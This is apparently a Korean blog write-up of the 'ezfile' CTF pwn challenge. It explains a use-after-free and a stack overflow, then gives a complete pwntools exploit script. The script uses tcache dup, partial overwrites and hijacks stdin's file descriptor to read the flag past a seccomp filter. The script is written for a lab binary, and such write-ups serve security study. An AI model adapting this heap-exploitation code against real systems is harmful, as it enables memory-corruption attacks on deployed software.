취약점은 총 2개이다. ( + oob bug)
먼저, deleteNote
에서 UAF
glibc 2.27
이므로, 이를 이용하여 tcache dup
공격을 진행할 수 있다.
그리고 encryptNote
에서 stack overflow
가 발생한다.
0x60
크기의 seed
에 0x68
만큼 입력받아 ret overwrite
가 가능하다.
특이한 점은, 마지막 함수 doSomeThing
에서 seed
, index
를 인자로 받기 때문에, rdi, rsi
조작이 가능하다는 점이다.
exploit
exploit
의 대략적인 과정은 다음과 같다.
tcache dup
->chunk overlapping
unsortedbin free
->partial overwrite(1/16)
->stdin->fileno hijack to 3
ret partial overwrite(1/16)
->open("flag", 0)
되게 재밌는 문제였다. 문제의 포인트는 stdin->fileno
를 3
으로 조작하여 flag
의 내용을 읽어오게 하는 부분이다. 이게 어떻게 가능한지는 아래의 흐름을 확인해보면 쉽게 알 수 있다.
rdi, rsi
를 조작할 수 있으므로 open
함수를 open("flag", 0)
으로 조작하고, stdin->fileno
를 3
으로 조작하면 아래 scanf
에서 방금 open
한 flag
의 fileno
인 3
을 이용하여 값을 입력받으므로 밑에 printf
에서 flag
의 값을 유출할 수 있다는 것이다.
또한, 추가적으로
위 함수때문에 stdout magic leak
은 불가능하고, prctl seccomp
로 execve
가 막혀있어 one gadget
을 사용할 수 없다.
최종 exploit
은 다음과 같다.
from pwn import *
#context.log_level= 'debug'
e = ELF('ezfile')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#l = ELF('libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
'''
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
'''
def name(data):
sla('your name: ', data)
def menu(sel):
sla('>>', sel)
def add(size, cont):
menu('1')
sla('>>', size)
sla('>>', cont)
def delete(idz):
menu('2')
sla('>>', idz)
def enc(idx, seed_size, seed):
menu('3')
sla('>>', idx)
sla('>>', seed_size)
sla('>>', seed)
'''
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
'''
name('A'*90)
add(str(0x10), p64(0x21)*2) # 0
for i in xrange(1, 7):
add(str(0x18), p64(0x21)*3)
for _ in xrange(7):
delete('0')
delete('1')
add(str(0x1), p8(0x80)) # 7
add(str(0x8), p64(0)) # 8
add(str(0x10), p64(0) + p64(0xa1)) # 9
for _ in xrange(8):
delete('1')
delete('9')
add(str(0x12), p64(0) + p64(0x21) + "\x60\xfa")
add(str(0x18), "\n")
add(str(0x1), "\x03")
pay = "flag".ljust(0x68, '\x00') + "\x4c\x51"
enc('0', str(len(pay)), pay)
#"\x00"*35 + p64(3)
io()
flag
'system > writeup' 카테고리의 다른 글
2019 d3ctf lonely_observer (0) | 2019.12.16 |
---|---|
2019 d3ctf babyrop (0) | 2019.12.15 |
2019 holyshield babyheap (0) | 2019.12.04 |
2018 0ctf final baby (0) | 2019.12.03 |
2018 bctf three (0) | 2019.12.01 |